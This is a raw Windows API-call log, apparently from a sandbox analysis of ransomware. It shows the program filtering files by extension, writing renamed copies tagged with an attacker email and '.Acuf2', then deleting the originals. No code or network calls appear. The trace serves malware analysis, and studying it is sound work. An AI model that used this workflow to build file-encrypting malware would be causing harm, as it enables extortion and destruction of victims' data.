	[0270.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63
	[0270.316] lstrlenW (lpString=".doc") returned 4
	[0270.316] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0270.316] lstrlenW (lpString=".docx") returned 5
	[0270.316] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0270.316] lstrlenW (lpString=".pdf") returned 4
	[0270.316] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0270.316] lstrlenW (lpString=".xls") returned 4
	[0270.316] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0270.316] lstrlenW (lpString=".xlsx") returned 5
	[0270.316] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0270.316] lstrlenW (lpString=".ppt") returned 4
	[0270.316] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0270.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63
	[0270.316] lstrlenW (lpString=".zip") returned 4
	[0270.316] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0270.316] lstrlenW (lpString=".rar") returned 4
	[0270.316] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0270.316] lstrlenW (lpString=".bz2") returned 4
	[0270.316] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0270.317] lstrlenW (lpString=".7z") returned 3
	[0270.317] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0270.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63
	[0270.317] lstrlenW (lpString=".dbf") returned 4
	[0270.317] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0270.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63
	[0270.317] lstrlenW (lpString=".1cd") returned 4
	[0270.317] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0270.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63
	[0270.317] lstrlenW (lpString=".jpg") returned 4
	[0270.317] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0270.317] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=10192) returned 1
	[0270.317] CloseHandle (hObject=0x36c) returned 1
	[0270.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 0x20
	[0270.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0270.318] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.318] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0270.365] GetLastError () returned 0x0
	[0270.366] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x27d0, lpOverlapped=0x0) returned 1
	[0270.367] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x27e0, lpOverlapped=0x0) returned 1
	[0270.368] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.368] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0270.368] SetEndOfFile (hFile=0x328) returned 1
	[0270.368] CloseHandle (hObject=0x328) returned 1
	[0270.368] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.368] SetEndOfFile (hFile=0x36c) returned 1
	[0270.371] CloseHandle (hObject=0x36c) returned 1
	[0270.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 1
	[0270.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63
	[0270.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63
	[0270.371] lstrlenW (lpString=".doc") returned 4
	[0270.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0270.371] lstrlenW (lpString=".docx") returned 5
	[0270.371] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0270.371] lstrlenW (lpString=".pdf") returned 4
	[0270.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0270.371] lstrlenW (lpString=".xls") returned 4
	[0270.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0270.371] lstrlenW (lpString=".xlsx") returned 5
	[0270.371] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0270.371] lstrlenW (lpString=".ppt") returned 4
	[0270.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0270.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63
	[0270.372] lstrlenW (lpString=".zip") returned 4
	[0270.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0270.372] lstrlenW (lpString=".rar") returned 4
	[0270.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0270.372] lstrlenW (lpString=".bz2") returned 4
	[0270.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0270.372] lstrlenW (lpString=".7z") returned 3
	[0270.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0270.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63
	[0270.372] lstrlenW (lpString=".dbf") returned 4
	[0270.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0270.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63
	[0270.372] lstrlenW (lpString=".1cd") returned 4
	[0270.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0270.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63
	[0270.372] lstrlenW (lpString=".jpg") returned 4
	[0270.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0270.373] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=24292) returned 1
	[0270.373] CloseHandle (hObject=0x36c) returned 1
	[0270.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 0x20
	[0270.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0270.373] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.373] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0270.373] GetLastError () returned 0x0
	[0270.373] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x5ee4, lpOverlapped=0x0) returned 1
	[0270.375] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x5ef0, lpOverlapped=0x0) returned 1
	[0270.376] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.376] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0270.376] SetEndOfFile (hFile=0x328) returned 1
	[0270.376] CloseHandle (hObject=0x328) returned 1
	[0270.377] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.377] SetEndOfFile (hFile=0x36c) returned 1
	[0270.379] CloseHandle (hObject=0x36c) returned 1
	[0270.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 1
	[0270.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63
	[0270.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63
	[0270.379] lstrlenW (lpString=".doc") returned 4
	[0270.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0270.379] lstrlenW (lpString=".docx") returned 5
	[0270.380] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0270.380] lstrlenW (lpString=".pdf") returned 4
	[0270.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0270.380] lstrlenW (lpString=".xls") returned 4
	[0270.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0270.380] lstrlenW (lpString=".xlsx") returned 5
	[0270.380] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0270.380] lstrlenW (lpString=".ppt") returned 4
	[0270.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0270.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63
	[0270.380] lstrlenW (lpString=".zip") returned 4
	[0270.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0270.380] lstrlenW (lpString=".rar") returned 4
	[0270.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0270.380] lstrlenW (lpString=".bz2") returned 4
	[0270.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0270.380] lstrlenW (lpString=".7z") returned 3
	[0270.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0270.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63
	[0270.380] lstrlenW (lpString=".dbf") returned 4
	[0270.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0270.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63
	[0270.380] lstrlenW (lpString=".1cd") returned 4
	[0270.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0270.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63
	[0270.380] lstrlenW (lpString=".jpg") returned 4
	[0270.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0270.381] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=8754) returned 1
	[0270.381] CloseHandle (hObject=0x36c) returned 1
	[0270.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 0x20
	[0270.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0270.382] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.382] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0270.382] GetLastError () returned 0x0
	[0270.382] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2232, lpOverlapped=0x0) returned 1
	[0270.383] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2240, lpOverlapped=0x0) returned 1
	[0270.384] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.384] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0270.385] SetEndOfFile (hFile=0x328) returned 1
	[0270.385] CloseHandle (hObject=0x328) returned 1
	[0270.385] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.385] SetEndOfFile (hFile=0x36c) returned 1
	[0270.387] CloseHandle (hObject=0x36c) returned 1
	[0270.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 1
	[0270.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63
	[0270.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63
	[0270.388] lstrlenW (lpString=".doc") returned 4
	[0270.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0270.388] lstrlenW (lpString=".docx") returned 5
	[0270.388] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0270.388] lstrlenW (lpString=".pdf") returned 4
	[0270.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0270.388] lstrlenW (lpString=".xls") returned 4
	[0270.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0270.388] lstrlenW (lpString=".xlsx") returned 5
	[0270.388] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0270.388] lstrlenW (lpString=".ppt") returned 4
	[0270.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0270.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63
	[0270.388] lstrlenW (lpString=".zip") returned 4
	[0270.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0270.388] lstrlenW (lpString=".rar") returned 4
	[0270.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0270.388] lstrlenW (lpString=".bz2") returned 4
	[0270.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0270.388] lstrlenW (lpString=".7z") returned 3
	[0270.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0270.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63
	[0270.389] lstrlenW (lpString=".dbf") returned 4
	[0270.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0270.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63
	[0270.389] lstrlenW (lpString=".1cd") returned 4
	[0270.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0270.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63
	[0270.389] lstrlenW (lpString=".jpg") returned 4
	[0270.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0270.390] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=58258) returned 1
	[0270.390] CloseHandle (hObject=0x36c) returned 1
	[0270.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 0x20
	[0270.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0270.390] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.390] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0270.391] GetLastError () returned 0x0
	[0270.391] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xe392, lpOverlapped=0x0) returned 1
	[0270.903] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xe3a0, lpOverlapped=0x0) returned 1
	[0270.904] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.905] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0270.905] SetEndOfFile (hFile=0x328) returned 1
	[0271.291] CloseHandle (hObject=0x328) returned 1
	[0271.291] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.291] SetEndOfFile (hFile=0x36c) returned 1
	[0271.329] CloseHandle (hObject=0x36c) returned 1
	[0271.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 1
	[0271.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63
	[0271.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63
	[0271.329] lstrlenW (lpString=".doc") returned 4
	[0271.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0271.329] lstrlenW (lpString=".docx") returned 5
	[0271.329] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0271.329] lstrlenW (lpString=".pdf") returned 4
	[0271.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0271.329] lstrlenW (lpString=".xls") returned 4
	[0271.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0271.329] lstrlenW (lpString=".xlsx") returned 5
	[0271.329] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0271.329] lstrlenW (lpString=".ppt") returned 4
	[0271.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0271.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63
	[0271.330] lstrlenW (lpString=".zip") returned 4
	[0271.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0271.330] lstrlenW (lpString=".rar") returned 4
	[0271.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0271.330] lstrlenW (lpString=".bz2") returned 4
	[0271.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0271.330] lstrlenW (lpString=".7z") returned 3
	[0271.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0271.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63
	[0271.330] lstrlenW (lpString=".dbf") returned 4
	[0271.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0271.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63
	[0271.330] lstrlenW (lpString=".1cd") returned 4
	[0271.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0271.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63
	[0271.330] lstrlenW (lpString=".jpg") returned 4
	[0271.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0271.330] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=3840) returned 1
	[0271.330] CloseHandle (hObject=0x36c) returned 1
	[0271.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 0x20
